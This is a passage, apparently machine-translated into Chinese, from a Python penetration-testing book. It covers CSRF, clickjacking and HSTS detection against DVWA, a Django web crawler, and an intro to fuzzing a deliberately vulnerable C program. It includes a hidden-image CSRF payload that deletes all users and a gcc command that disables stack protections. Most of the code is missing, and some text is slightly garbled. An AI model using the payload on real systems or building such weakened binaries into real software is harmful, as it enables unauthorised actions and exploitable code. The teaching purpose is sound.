CSRF是一种攻击,攻击者利用有效的用户会话以允许在当前登录用户的名义下执行某些操作。例如,假设管理员用户已登录应用程序,并在浏览器中设置了有效的会话 cookie。管理员可以通过单击删除所有按钮来删除网站上的所有用户,内部调用 HTTP 请求http://www.mysite.com/delete?users=all。Web 浏览器的一个属性是在用户登录到应用程序后,为每个后续请求向服务器发送会话参数/cookie。攻击者可以利用这一点,通过制作一个包含 HTML 图像的伪造页面,例如<img src"http://www.mysite.com/delete?users=all" style="display:hidden">。攻击者可以将这个伪造页面的链接发送给当前已登录到他的网站mysite.com的管理员。如果管理员用户加载了这个网页,将会以他们的名义触发删除所有用户的 HTTP 请求,并发送有效的会话 cookie,导致服务器删除所有用户。

使用 Python 自动检测 CSRF

在这里,我们将介绍一种使用 Python、Beautifulsoup、Selenium 和 Phantomjs 自动检测 Web 应用程序中 CSRF 的方法。然而,在自动化检测之前,让我们讨论一下我们将采取的方法。我们知道可以通过实现反 CSRF 令牌来减轻 CSRF 攻击。

从服务器提供的任何可能修改服务器状态的表单都应该包含一个包含随机加密值的隐藏字段,称为 CSRF 令牌。大多数 CSRF 令牌背后的原则是,这个表单和一个 cookie 也必须设置为一个与在隐藏字段中提供的令牌的相同值的加密值。当表单被提交回服务器时,会提取 cookie 的秘密值并与在隐藏字段中提交回服务器的秘密值进行比较。如果两个秘密匹配,请求被认为是真实的,并进一步处理。

我们将在我们的检测机制中使用相同的方法。对于任何要提交回服务器的表单,我们将提取所有输入字段并将它们与各种技术中常用的 CSRF 隐藏字段参数名称列表进行比较,如 Java、PHP、Python/Django、ASP.NET 和 Ruby。此外,我们还将查看在提交表单之前设置的 cookie 的名称,并将这些 cookie 的名称与所有知名技术堆栈中常用的 CSRF 保护名称进行比较。

需要再次注意的是,脚本将模拟正常的人类行为。它将登录应用程序并保持有效会话,然后尝试查找 CSRF 漏洞。这里显示了最常用的 CSRF 隐藏字段参数以及技术堆栈:

  • ASP.NET [Hiddenfiled : __RequestVerificationToken, Cookie : RequestVerificationToken]

  • PHP [Hiddenfiled : token, Cookie : token], [Hiddenfileld :_csrfToken, Cookie : csrfToken]

  • PHP [Hiddenfiled : _csrftoken, Cookie : csrftoken]

上述列表可能更详尽,但对我们的目的来说已经足够了。我们将使用 DVWA 应用程序来创建我们的概念验证脚本。

脚本在执行

让我们继续创建一个名为Csrf_detection.py的脚本,其中包含以下屏幕截图中显示的内容:

当我们执行脚本时,我们得到以下输出:

创建的屏幕截图显示在这里:

DVWA 应用程序的捕获屏幕截图显示在这里:

应该注意的是,我们只在一个页面上应用了先前的方法来检测 CSRF,只是为了减少执行时间并展示概念的威力。然而,这可以扩展到应用程序的所有网页。我们需要删除检查从<a>标签中获取的 URL 是否在列表中的条件:self.target_links=["vulnerabilities/csrf"]。尝试相同的方法,删除此条件,并根据需要修改脚本以查看它覆盖了什么。

点击劫持

点击劫持是一种攻击,攻击者在合法网站或网页上叠加自制的攻击页面。考虑与 CSRF 攻击案例中提到的相同情景。可以使能够删除所有用户的网页以透明的方式呈现,使用户看不到页面上的按钮。因此,用户看到的是一个透明层下的合法网页的攻击页面。例如,攻击者可以制作一个显示 iPhone 优惠的网页,可能有一个按钮写着立即赢取 iPhone,放在透明按钮删除所有用户下面。因此,当受害者,管理员用户,认为他们点击的是赢取 iPhone 的按钮时,实际上他们点击的是透明按钮,从数据库中删除所有用户。

网站防止点击劫持的一种方法是实施一个名为 X-Frame-Options 的特殊头部,该头部在以下部分中定义。

X-Frame-Options

网站可以通过特殊的 HTTP 响应头部X-Frame-Options声明不应在框架或 iframe 中呈现。客户端浏览器在接收到此头部时,检查设置在框架限制内的值,并根据设置的值采取适当的操作。各种值显示在这里:

  • DENY:此值将阻止网页加载到框架或 iFrame 中。这是建议使用的值。

  • SAMEORIGIN:如果尝试将页面加载到 iframe 中的页面来自与被加载页面相同的源,则此值将允许页面仅在框架或 iframe 中加载。

  • ALLOW-FROM:此值定义了允许将页面加载到框架或 iframe 中的位置。

使用 Python 自动检测点击劫持

在这里,我们将看到一种我们将用来查看网站是否容易受到点击劫持的方法。我们将使用一个简单的 Python 脚本,检查应用程序渲染的响应头中是否存在 X-Frame-Options。我们将调用脚本CJ_detector.py并添加以下内容:

我们将运行脚本,看看 DVWA 应用程序是否受到点击劫持的保护:

SSL 剥离(缺少 HSTS 头部)

SSL 剥离,或SSL 降级,是一种将 HTTPS 连接降级为 HTTP 的攻击向量。这种攻击是由位于受害者和 Web 服务器之间的攻击者执行的,并充当透明代理。它进一步与受害者保持基于 HTTP 的下行连接,并与服务器保持适当的基于 HTTPS 的上行连接。

因此,攻击是通过 ARP 欺骗、SSL 剥离和在攻击者和受害者之间设置透明代理的组合来进行的。假设一个受害者想要访问一个名为abc.com的网站。默认情况下,abc.com由 HTTPS 服务器提供,如https://www.abc.com,但当用户在浏览器中输入 URLabc.com时,浏览器将请求发送为http://www.abc.com到服务器,服务器响应 302 响应并将用户重定向到https://www.abc.com。重要的是要注意,用户浏览器到服务器的第一个请求是通过纯 HTTP 进行的,因为用户输入了abc.com。这就是攻击者使用 SSL 剥离所利用的。

考虑一个放置在同一网络上并且正在 ARP 欺骗受害者和路由器的攻击者。在这种情况下,受害者对abc.com的请求首先到达攻击者。攻击者设置了一个透明代理,可以将请求转发到实际服务器。服务器响应 302 响应。攻击者代理发送一个请求到https://abc.com并接收响应,这只是一个网页。攻击者代理还有一个额外的功能,可以解析整个响应,用纯 HTTP 替换所有 HTTPS 链接,然后将一个纯页面呈现给受害者。在下一个请求中,受害者发布他们的凭据,却不知道流量是通过攻击者传递的。

为了防止这种攻击,网站必须在发送给客户端的响应中包含一个特殊的头。这个头将保存在浏览器首选项中,因此每当连接到网站时,第一个请求本身将通过 HTTPS 发送;因此,使得攻击者无法窃听流量。

HTTP 严格传输安全HSTS)是一种安全机制,浏览器会记住这个主机是一个 HSTS 主机,并将详细信息保存在浏览器首选项中。因此,每当再次访问该站点时,即使用户在浏览器中输入abc.com,在向服务器释放请求之前,浏览器也会在内部将请求转换为 HTTPS,因为它检查其 HSTS 列表并发现目标主机或服务器投诉。如果第一个请求是 HTTPS,攻击者就没有机会降级请求。

使用 Python 自动检测缺失的 HSTS

在这里,我们将看到一种方法,我们将使用它来确定网站是否容易受到点击劫持的攻击。我们将使用一个简单的 Python 脚本来检查应用程序呈现的响应头中是否存在 Strict-Transport-Security。我们将命名脚本为HSTS_detector.py,并将以下内容放入其中:

让我们运行脚本,看看应用程序 DVWA 是否受到了点击劫持的保护:

摘要

在本章中,我们讨论了我们可以使用的方法来使用 Python 自动化我们的 Web 应用程序扫描和评估。我们看到了如何使用 Python 自动化检测 Web 应用程序的漏洞,如 XSS、CSRF、点击劫持和 SSL 剥离。所有这些在实际评估中都非常有用,并将帮助您作为渗透测试人员对使用 Python 自动化事物有一个相当好的掌握。

在下一章中,我们将探讨与逆向工程、模糊测试和缓冲区溢出相关的各种概念。

问题

  1. 还有哪些应用程序安全用例可以使用 Python 自动化处理?

  2. 我们如何使用 Python 集成网络扫描和 Web 应用程序扫描?

进一步阅读

第十章:构建自定义爬虫

当我们谈论 Web 应用程序扫描时,我们经常会遇到内置在我们用于 Web 应用程序扫描的自动扫描工具中的爬虫。诸如 Burp Suite、Acunetix、Web Inspect 等工具都有精彩的爬虫,可以浏览 Web 应用程序并针对爬取的 URL 尝试各种攻击向量。在本章中,我们将了解爬虫是如何工作的,以及在幕后发生了什么。本章的目标是使用户了解爬虫如何收集所有信息并形成各种攻击的攻击面。相同的知识可以稍后用于开发可能自动化 Web 应用程序扫描的自定义工具。在本章中,我们将创建一个自定义 Web 爬虫,它将浏览网站并给出一个包含以下内容的列表:

  • 网页

  • HTML 表单

  • 每个表单中的所有输入字段

我们将看到如何以两种模式爬取 Web 应用程序:

  • 无身份验证

  • 有身份验证

我们将在 Django(Python 的 Web 应用程序框架)中开发一个小型 GUI,使用户能够在测试应用程序上进行爬取。必须注意,本章的主要重点是爬虫的工作原理,因此我们将详细讨论爬虫代码。我们不会专注于 Django Web 应用程序的工作原理。为此,本章末尾将提供参考链接。我将在我的 GitHub 存储库中分享整个代码库,供读者下载和执行,以便更好地理解该应用程序。

设置和安装

要使用的操作系统是 Ubuntu 16.04。该代码在此版本上经过测试,但读者可以自由使用任何其他版本。

通过运行以下命令安装本章所需的先决条件:

pip install django==1.6 pip install beautifulsoup4 pip install requests pip install exrex pip install html5lib pip install psutil sudo apt-get install sqlitebrowser

应注意,该代码经过 Python 2.7 的尝试和测试。建议读者在相同版本的 Python 上尝试该代码,但它也应该适用于 Python 3。关于打印语句可能会有一些语法上的变化。

开始

典型的 Django 项目遵循基于 MVC 的架构。用户请求首先命中Urls.py文件中配置的 URL,然后转发到适当的视图。视图充当后端核心逻辑和呈现给用户的模板/HTML 之间的中间件。views.py有各种方法,每个方法对应于Urls.py文件中的 URL 映射器。在接收请求时,views类或方法中编写的逻辑从models.py和其他核心业务模块中准备数据。一旦所有数据准备好,它就会通过模板呈现给用户。因此,模板形成了 Web 项目的 UI 层。

以下图表代表了 Django 请求-响应循环:

爬虫代码

如前所述,我们有一个用户界面,将收集要爬取的 Web 应用程序的用户参数。因此,请求被转发到views.py文件,然后我们将调用爬虫驱动文件run_crawler.py,然后再调用crawler.pynew_scan视图方法获取所有用户参数,将它们保存在数据库中,并为爬取项目分配一个新的项目 ID。然后将项目 ID 传递给爬虫驱动程序,以便引用并使用 ID 提取相关项目参数,然后将它们传递给crawler.py开始扫描。

Urls.py 和 Views.py 代码片段

以下是Urls.py文件的配置,其中包含 HTTP URL 和映射到该 URL 的views.py方法之间的映射关系。该文件的路径是Chapter8/Xtreme_InjectCrawler/XtremeWebAPP/Urls.py

前面突出显示的行表示新爬行项目的 URL 与满足请求的views方法之间的映射。因此,我们将在views.py文件中有一个名为new_scan的方法。文件的路径是Chapter8/Xtreme_InjectCrawler/XtremeWebAPP/xtreme_server/views.py。方法定义如下:

代码解释

new_scan方法将接收用户的HTTP GETPOST请求。GET请求将被解析为提供用户输入项目参数的页面,POST请求将把所有参数发布到先前的代码,然后可以进一步处理。正如代码的(1)部分所突出显示的那样,项目参数正在从用户请求中检索,并放置在 Python 程序变量中。代码的(2)部分也是如此。它还从用户提供的设置中获取一些其他参数,并将它们放在一个名为 settings 的 Python 字典中。最后,当所有数据收集完毕,它将所有细节保存在名为Project的后端数据库表中。正如在第 261 行所示,代码初始化了一个名为Project()的类,然后从第 262 行到 279 行,它将从用户那里获得的参数分配给Project()类的实例变量。最后,在第 280 行,调用了project.save()代码。这将把所有实例变量作为单行放入数据库表中。

基本上,Django 遵循开发的 ORM 模型。ORM代表对象关系映射。Django 项目的模型层是一组类,当使用python manage.py syncdb命令编译项目时,这些类实际上会转换为数据库表。我们实际上不在 Django 中编写原始的 SQL 查询来将数据推送到数据库表或提取它们。Django 为我们提供了一个模型包装器,我们可以将其作为类访问,并调用各种方法,如save()delete()update()filter()get(),以执行对数据库表的创建、检索、更新和删除CRUD)操作。对于当前情况,让我们看一下包含Project模型类的models.py文件:

因此,当代码被编译或数据库同步发生时,使用python manage.py syncdb命令,一个名为<project_name>_Project的表将在工作数据库中创建。表的架构将根据类中实例变量的定义进行复制。因此,对于项目表的前面情况,将创建 18 个列。表将具有project_name的主键,Django 应用程序中其数据类型被定义为CharField,但在后端将被转换为类似varchar(50)的东西。在这种情况下,后端数据库是 SQLite 数据库,在settings.py文件中定义如下:

代码片段的(3)(4)部分很有趣,因为这是工作流执行实际开始的地方。可以在(3)部分看到,我们正在检查操作系统环境。如果操作系统是 Windows,那么我们将调用crawler_driver代码run_crawler.py作为子进程。

如果底层环境是基于 Linux 的,那么我们将使用与 Linux 环境相关的命令来调用相同的驱动文件。正如我们之前可能观察到的那样,我们使用子进程调用来将此代码作为单独的进程调用。拥有这种类型的架构背后的原因是为了能够使用异步处理。用户发送的 HTTP 请求应该能够快速得到响应,指示爬取已经开始。我们不能让相同的请求一直保持,直到整个爬取操作完成。为了适应这一点,我们生成一个独立的进程并将爬取任务卸载到该进程中,HTTP 请求立即返回一个指示爬取已经开始的 HTTP 响应。我们进一步将进程 ID 和后端数据库中的项目名称/ID 进行映射,以持续监视扫描的状态。我们通过将控制权重定向到详细 URL 来将控制权返回给用户,详细 URL 反过来返回模板details.html

驱动代码 - run_crawler.py

以下代码是run_crawler.py文件的代码:

还记得我们如何从views.py代码中调用这个文件吗?我们通过传递一个命令行参数来调用它,这个参数是项目的名称。如第(1)部分所示,run_crawler.py的前面代码将这个命令行参数加载到一个project_name程序变量中。在第(2)部分,代码尝试从后端数据库表project中读取所有参数,使用project.objects.get(project_name=project_name)命令。正如之前提到的,Django 遵循 ORM 模型,我们不需要编写原始的 SQL 查询来从数据库表中获取数据。前面的代码片段将在内部转换为select * from project where project_name=project_name。因此,所有项目参数都被提取并传递给本地程序变量。

最后,在第(3)部分,我们初始化crawler类并将所有项目参数传递给它。一旦初始化,我们调用标记为第(4)部分的c.start()方法。这是爬取开始的地方。在接下来的部分,我们将看到我们的爬虫类的工作方式。

爬虫代码 - crawler.py

以下代码片段代表了crawler类的构造函数。它初始化了所有相关的实例变量。logger是一个自定义类,用于记录调试消息,因此如果在爬虫执行过程中发生任何错误,它将作为一个子进程被生成并在后台运行,可以进行调试:

现在让我们来看一下crawlerstart()方法,从这里开始爬取实际上开始:

在第(1)部分可以看到,对于第二次迭代(auth=True),我们会向用户提供的登录 URL 发出HTTP GET请求。我们使用 Python requests库中的GET方法。当我们向 URL 发出GET请求时,响应内容(网页)会被放入xx变量中。

现在,如第(2)部分所示,我们使用xx.content命令提取网页内容,并将提取的内容传递给Beautifulsoup模块的实例。Beautifulsoup是一个非常好用的 Python 工具,可以使解析网页变得非常简单。从这里开始,我们将用别名 BS 来表示Beautifulsoup

第三部分使用了 BS 解析库中的s.findall('form')方法。findall()方法接受要搜索的 HTML 元素类型作为字符串参数,并返回一个包含搜索匹配项的列表。如果一个网页包含十个表单,s.findall('form')将返回一个包含这十个表单数据的列表。它看起来如下:[<Form1 data>,<Form2 data>, <Form3 data> ....<Form10 data>]

在代码的第四部分,我们正在遍历之前返回的表单列表。这里的目标是在网页上可能存在的多个输入表单中识别登录表单。我们还需要找出登录表单的操作 URL,因为那将是我们POST有效凭据并设置有效会话的地方,如下面的截图所示:

让我们试着分解前面的不完整代码,以了解到目前为止发生了什么。然而,在我们继续之前,让我们看一下用户界面,从中获取爬取参数。这将让我们对先决条件有一个很好的了解,并帮助我们更好地理解代码。以下屏幕显示了用户输入参数的表示:

如前所述,爬虫工作分为两次迭代。在第一次迭代中,它尝试在没有身份验证的情况下爬取 Web 应用程序,在第二次迭代中,它使用身份验证爬取应用程序。身份验证信息保存在self.auth变量中,默认情况下初始化为false。因此,第一次迭代将始终没有身份验证。

应该注意的是,前面提到的代码的目的是从登录网页/URL 中识别登录表单。一旦识别出登录表单,代码就会尝试识别该表单的所有输入字段。然后,它将制定一个包含合法用户凭据的数据有效载荷,以提交登录表单。提交后,将返回并保存一个有效的用户会话。该会话将用于基于身份验证的第二次爬取迭代。

在代码的第五部分,我们正在调用self.process_form_action()方法。在此之前,我们提取了表单的操作 URL,以便知道数据将被发布的位置。它还将相对操作 URL 与应用程序的基本 URL 结合起来,这样我们最终会将请求发送到一个有效的端点 URL。例如,如果表单操作指向名为/login的位置,当前 URL 为http://127.0.0.1/my_app,这个方法将执行以下任务:

  1. 检查 URL 是否已经添加到爬虫应该访问的 URL 列表中

  2. 将操作 URL 与基本上下文 URL 组合并返回http://127.0.0.1/my_app/login

这个方法的定义如下所示:

可以看到,在这个方法中首先调用的是另一个方法self.check_and_add_to_visit。这个方法检查所讨论的 URL 是否已经被添加到爬虫应该爬取的 URL 列表中。如果已经添加,则执行no9操作。如果没有,爬虫将该 URL 添加到稍后重新访问。这个方法还检查许多其他事情,比如 URL 是否在范围内,协议是否被允许等等。这个方法的定义如下所示:

如图所示,如果第 158 行下的self.already_seen()返回false,那么在当前项目的后端数据库Page表中将创建一行。这一行再次通过 Django ORM(模型抽象)创建。self.already_seen()方法只是检查Page表,看看爬虫是否以当前项目名称和当前认证模式访问了问题 URL。这是通过访问标志来验证的:

Page.objects.filter()相当于select * from page where auth_visited=True/False and project='current_project' and URL='current_url'

在代码的第(6)部分,我们将当前表单的内容传递给一个新创建的 BS 解析模块的实例。这样做的原因是我们将解析并提取当前处理的表单中的所有输入字段。一旦输入字段被提取,我们将比较每个输入字段的名称与用户在username_fieldpassword_field下提供的名称。我们这样做的原因是可能会有多个表单在登录页面上,比如搜索表单、注册表单、反馈表单和登录表单。我们需要能够识别这些表单中的哪一个是登录表单。当我们要求用户提供登录用户名/电子邮件字段名称和登录密码字段名称时,我们的方法是从所有表单中提取输入字段并将它们与用户提供的内容进行比较。如果我们两个字段都匹配,我们将flag1flag2设置为True。如果我们在一个表单中找到匹配,很可能这就是我们的登录表单。这是我们将在其中将用户提供的登录凭据放在适当字段下并在操作 URL 下提交表单的表单。这个逻辑由第(7)(8)(9)(10)(11)(12)(13)(14)部分处理。

还有一个重要的考虑因素。登录网页上可能还有注册表单。假设用户已经在我们的代码中指定了usernameuser_pass作为用户名和密码参数的字段名称,以便在这些字段名称下提交正确的凭据以获得有效会话。然而,注册表单还包含另外两个字段,也称为usernameuser_pass,还包含一些其他字段,如地址电话电子邮件等。然而,正如前面讨论的,我们的代码只识别这些提供的字段名称的登录表单,并可能将注册表单视为登录表单。为了解决这个问题,我们将所有获取的表单存储在程序列表中。当所有表单都被解析和存储时,我们应该有两个可能的登录表单候选。我们将比较两者的内容长度,长度较短的将被视为登录表单。这是因为注册表单通常比登录表单有更多的字段。这个条件由代码的第(15)部分处理,它枚举了所有可能的表单,并最终将最小的表单放在payloadforms[]列表和actionform[]列表的索引 0 处。

最后,在第 448 行,我们将提供的用户凭据发布到有效解析的登录表单。如果凭据正确,将返回有效会话并放置在会话变量ss下。通过调用POST方法进行请求,如下所示:ss.post(action_forms[0],data=payload,cookie=cookie)

用户提供要爬取的 Web 应用程序的起始 URL。第(16)部分获取该起始 URL 并开始爬取过程。如果有多个起始 URL,它们应该用逗号分隔。起始 URL 被添加到Page()数据库表中,作为爬虫应该访问的 URL:

在第(17)节中,有一个爬行循环调用there_are_pages_to_crawl()方法,该方法检查后端的Page()数据库表,看看当前项目中是否有任何未被访问的页面,visited flagset = False。如果表中有尚未被爬行器访问的页面,此方法将返回True。由于我们刚刚在第(16)节将起始页面添加到Page表中,因此此方法将对起始页面返回True。其思想是对该页面进行GET请求,并提取所有进一步的链接、表单或 URL,并不断将它们添加到Page表中。只要有未被访问的页面,循环将继续执行。一旦页面完全解析并提取了所有链接,visited flag 就会被设置为True,以便不会再提取该页面或 URL 进行爬行。该方法的定义如下所示:

在第(18)节中,我们通过调用get_a_page_to_visit()方法从后端的Page表中获取未访问的页面,该方法的定义在这里给出:

在第(19)节中,我们向该页面发出 HTTP GET请求,同时携带会话 cookie ss,因为第(19)节属于处理auth=True的迭代。一旦向该页面发出请求,页面的响应将进一步处理以提取更多链接。在处理响应之前,我们检查应用程序产生的响应代码。

有时候,某些页面会返回重定向(3XX响应代码),我们需要适当保存 URL 和表单内容。假设我们向页面 X 发出了GET请求,响应中有三个表单。理想情况下,我们将以 X 为标记保存这些表单。但是,假设在向页面 X 发出GET请求时,我们得到了一个 302 重定向到页面 Y,并且响应 HTML 实际上属于设置重定向的网页。在这种情况下,我们最终会保存与 URL X 映射的三个表单的响应内容,这是不正确的。因此,在第(20)和(21)节中,我们处理这些重定向,并将响应内容与适当的 URL 进行映射:

第(22)和(23)节的代码与前面提到的第(19)、(20)和(21)节完全相同,但(22)和(23)节是针对authentication=False的迭代进行的:

如果在处理当前页面时遇到任何异常,第(24)节将处理这些异常,将当前页面的 visited flag 标记为True,并在数据库中放置适当的异常消息。

如果一切顺利,控制将传递到第(26)节,从那里开始处理从当前正在访问的页面上的GET请求获取的 HTML 响应内容。此处理的目标是进行以下操作:

  • 从 HTML 响应中提取所有进一步的链接(a hrefbase标签、Frame标签、iframe标签)

  • 从 HTML 响应中提取所有表单

  • 提取 HTML 响应中的所有表单字段

代码的第(26)节提取了返回的 HTML 响应内容中base标签下(如果有的话)存在的所有链接和 URL。

(27)(28)节使用 BS 解析模块解析内容,提取所有锚标签及其href位置。一旦提取,它们将被传递以添加到Pages数据库表中,以供爬行器以后访问。必须注意的是,只有在检查它们在当前项目和当前身份验证模式下不存在后,才会添加这些链接。

第(29)节使用 BS 解析模块解析内容,以提取所有iframe标签及其src位置。一旦提取,它们将被传递以添加到Pages数据库表中,以便爬虫以后访问。第(30)节对 frame 标签执行相同的操作:

第(31)节使用 BS 解析模块解析内容,以提取所有选项标签,并检查它们是否在value属性下有链接。一旦提取,它们将被传递以添加到Pages数据库表中,以便爬虫以后访问。

代码的第(32)节尝试探索从网页中提取任何遗漏链接的所有其他选项。以下是检查其他可能性的代码片段:

第(33)和第(34)节从当前 HTML 响应中提取所有表单。如果识别出任何表单,将提取并保存表单标签的各种属性,例如 action 或 method,保存在本地变量中:

如果识别出任何 HTML 表单,下一个任务是提取所有输入字段、文本区域、选择标签、选项字段、隐藏字段和提交按钮。这是由第(35)、(36)、(37)、(38)和(39)节执行的。最后,所有提取的字段以逗号分隔的方式放在input_field_list变量下。例如,假设识别出一个名为Form1的表单,其中包含以下字段:

  • <input type ="text" name="search">

  • <input type="hidden" name ="secret">

  • <input type="submit" name="submit_button>

所有这些都被提取为"Form1" : input_field_list = "search,text,secret,hidden,submit_button,submit".

代码的第(40)节检查数据库表中是否已经保存了具有当前项目和当前auth_mode相同内容的任何表单。如果没有这样的表单存在,则使用 Django ORM(models)包再次将表单保存在Form表中:

先前代码的第(41)节继续并将这些唯一的表单保存在以当前项目名称命名的 JSON 文件中。然后可以使用简单的 Python 程序解析此文件,以列出我们爬取的网页应用程序中存在的各种表单和输入字段。此外,在代码的末尾,我们有一个小片段,将所有发现/爬取的页面放在一个文本文件中,以便以后参考。片段如下所示:

 f= open("results/Pages_"+str(self.project.project_name))
    for pg in page_list:
        f.write(pg+"\n")
 f.close()

代码的第(42)节更新了刚刚解析内容的网页的访问标志,并标记为当前auth模式的已访问。如果在保存期间发生任何异常,这些异常将由第(43)节处理,该节再次将访问标志标记为true,但另外添加异常消息。

在第(42)和第(43)节之后,控制再次回到代码的第(17)节。爬虫尚未访问的下一页从数据库中获取,并重复所有操作。这将持续到爬虫访问了所有网页为止。

最后,我们检查当前迭代是否在第(44)节中进行身份验证。如果没有进行身份验证,则调用爬虫的start()方法,并将auth标志设置为True

成功完成两次迭代后,假定网页应用程序已完全爬取,并且代码的第(45)节将项目状态标记为已完成

代码的执行

我们需要做的第一步是将模型类转换为数据库表。可以通过执行syncdb()命令来完成,如下所示:

创建数据库表后,让我们启动 Django 服务器,如下所示:

我们将测试我们的爬虫针对著名的 DVWA 应用程序,以查看它发现了什么。我们需要启动 Apache 服务器并在本地提供 DVWA。可以通过运行以下命令启动 Apache 服务器:

service Apache2 start

现在,让我们浏览爬虫界面,并提供以下扫描参数:

点击开始爬取按钮:

现在让我们浏览应用程序的results文件夹,位于<Xtreme_InjectCrawler/results>路径,以查看发现的 URL 和表单如下:

首先打开 JSON 文件查看内容:

现在,让我们打开Pages_Dvwa_test文件,查看发现的 URL 如下:

因此,可以验证爬虫已成功爬取了应用程序,并识别了前一个截图中显示的链接:

摘要

在本章中,我们看到了如何从头开始编写自定义爬虫。使用 Python 的模块,如 requests,BeautifulSoup 等,可以更轻松地完成这项任务。随意下载整个代码库,并测试爬虫与其他各种网站,以检查其覆盖范围。爬虫可能无法达到 100%的覆盖率。看看爬虫的局限性以及如何改进它。

问题

  1. 如何改进爬虫以涵盖 JavaScript 和 Ajax 调用?

  2. 我们如何使用爬虫结果来自动化 Web 应用程序测试?

进一步阅读

第十一章:逆向工程 Linux 应用程序

逆向工程,正如我们已经知道的,是获取可执行程序并获取其源代码或机器级代码的过程,以查看工具是如何构建的,并可能利用漏洞。逆向工程的上下文中的漏洞通常是开发人员和安全研究人员发现的软件错误。在本章中,我们将看看如何使用 Linux 应用程序进行逆向工程。本章将涵盖以下主题:

  • 模糊化 Linux 应用程序

  • Linux 和汇编

  • Linux 和堆栈缓冲区溢出

  • Linux 和堆缓冲区溢出

  • 在 Linux 中格式化字符串错误

调试器

了解可执行程序行为的常规方法是将其附加到调试器,并在各个位置设置断点,以解释测试软件的代码流。调试器是一个软件实用程序或计算机程序,程序员可以使用它来调试他们的程序或软件。它还允许程序员查看正在执行的代码的汇编。调试器能够显示代码执行的确切堆栈。调试器能够显示高级编程语言代码的汇编级等效。因此,调试器以执行堆栈的形式显示程序的执行流程,用于函数调用的寄存器,以及程序变量的地址/值等。

让我们来看看我们将在本章中涵盖的调试器:

  • Evans Linux 调试器:这是一个本地 Linux 调试器,我们不需要 wine 来运行它;它以tar.gz文件的形式提供。下载源代码,提取并复制到您的计算机。所需的安装步骤如下:
$ sudo apt-get install cmake build-essential libboost-dev libqt5xmlpatterns5-dev qtbase5-dev qt5-default libqt5svg5-dev libgraphviz-dev libcapstone-dev
$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make
$ ./edb

要么将其添加到环境变量路径中,要么转到安装目录并运行./edb来启动调试器。这将给我们以下界面:

让我们打开edb exe/linux文件:

  • GDB/GNU 调试器:这是一个非常古老的调试器,通常在 Ubuntu 中默认找到。它是一个不错的调试器,但功能不多。要运行它,只需输入gdb,它的提示符就会打开。默认情况下,它是一个 CLI 工具。

  • 另一个好的工具是 idea-pro,但这是一个商业工具,不是免费的。

模糊化 Linux 应用程序

模糊化是一种用于发现应用程序中的错误的技术,当应用程序收到未经应用程序预期的输入时,应用程序会崩溃。模糊化通常涉及使用自动化工具或脚本发送大型字符串到可能导致应用程序崩溃的应用程序。模糊化的想法是发现漏洞或错误,如果发现,可能会导致灾难性后果。这些漏洞可能属于以下类别之一:

  • 缓冲区溢出漏洞

  • 字符串格式漏洞

模糊化是将随机生成的代码发送到我们的测试程序的技术,目的是使其崩溃或查看它在不同输入下的行为。模糊化是以自动化方式向正在测试的程序发送不同长度的有效负载,以查看程序是否在任何时候表现出奇怪或意外的行为。如果在模糊化期间观察到任何异常情况,则标记导致程序出现意外行为的有效负载长度。这有助于测试人员进一步评估是否存在溢出类型的潜在漏洞。简而言之,模糊化是检测正在测试的应用程序中是否存在潜在溢出漏洞的第一步。

有效的 fuzzer 生成半有效的输入,这些输入在解析器中不会被直接拒绝,但会在程序的更深层次上创建意外行为,并且足够无效,以暴露未正确处理的边缘情况。我们可以用于 fuzzing 的一个工具是Zzuf。这是一个非常好的 fuzzing 工具,可以在基于 Linux 的系统上使用。安装步骤如下:

从 GitHub 源下载 Zzuf 并手动安装它,使用以下命令:

./configure
make sudo make install

然而,在这里,我们将专注于使用我们的本机 Python 代码进行 fuzzing。要了解如何进行 fuzzing,让我们以一个示例 C 代码为例,该代码从用户那里获取输入,但没有对传递的输入执行必要的检查。

fuzzing 在行动

让我们来看一个用 C 编写的基本代码,它接受用户输入并在终端上显示它:

#include <stdio.h>
#include <unistd.h>

int vuln() {

    char arr[400];
    int return_status;

    printf("What's your name?\n");
    return_status = read(0, arr, 400);

    printf("Hello %s", arr);

    return 0;
}

int main(int argc, char *argv[]) {
    vuln();
    return 0;
}
ssize_t read(int fildes, void *buf, size_t nbytes);

以下表格解释了前面代码块中使用的字段:

字段 描述
int fildes 要读取输入的文件描述符。您可以使用从 open (codewiki.wikidot.com/c:system-calls:open)系统调用获得的文件描述符,或者您可以使用 0、1 或 2,分别表示标准输入、标准输出或标准错误。
const void *buf 读取内容存储的字符数组。
size_t nbytes 截断数据之前要读取的字节数。如果要读取的数据小于n字节,则所有数据都保存在缓冲区中。
return value 返回读取的字节数。如果值为负数,则系统调用返回错误。

我们可以看到,这个简单的程序试图从控制台读取(由文件描述符的值 0 指定),并且无论它从控制台窗口读取什么,它都试图放在本地创建的名为arr的数组变量中。现在arr在这段代码中充当缓冲区,最大大小为 400。我们知道 C 中的字符数据类型可以保存 1 个字节,这意味着只要我们的输入<=400 个字符,代码应该可以正常工作,但如果输入超过 400 个字符,我们可能会遇到溢出或分段错误,因为我们会尝试保存的内容超过了缓冲区arr的容量。从前面的代码中可以立即看到,超过 400 字节的输入将破坏代码。

想象一下,我们无法访问应用程序的源代码。那么,为了弄清楚缓冲区的大小,我们有以下三个选项:

  • 第一个选项是对其进行逆向工程,以查看应用程序的助记符或汇编级别代码。谁想这样做呢!

  • 许多现代反编译器还为我们提供了原始应用程序的源代码等效物。对于我们这样的一个小例子,这将是一个不错的选择,但如果问题中的可执行文件有数千行代码,我们可能也要避免选择这个选项。

  • 第三种通常首选的方法是将应用程序视为黑盒,并确定它期望用户指定输入的位置。这些将是我们的注入点,在这些点上,我们将指定不同长度的字符串,以查看程序是否崩溃,如果崩溃,会发生在哪里。

让我们编译我们的源代码以生成我们将作为黑盒运行和 fuzz 的 C 对象文件。

默认情况下,Linux 系统是安全的,并且它们配备了各种防止缓冲区溢出的保护措施。因此,在编译源代码时,我们将禁用内置的保护,如下所示:

gcc -fno-stack-protector -z execstack -o buff buff.c

前面的命令将产生以下截图:

让我们运行我们的对象文件,通过将echo命令的输出传输到它来进行单行操作。这将使用 Python 和 fuzzing 自动化:

我们知道./buff是我们的输出文件,可以作为可执行文件执行。假设我们知道文件的实际源代码,我们可以使用 Python 来模糊文件。让我们创建一个基本的 Python 模糊脚本:

让我们运行前面的 Python 代码,看看模糊测试的效果以及它如何使应用程序崩溃,使我们接近崩溃点:

从前面的输出可以看出,应用程序崩溃的地方在 400 到 500 字节之间,这就是实际的崩溃点。更准确地说,我们可以使用较小的步长i,并以步长=10到达以下结果:

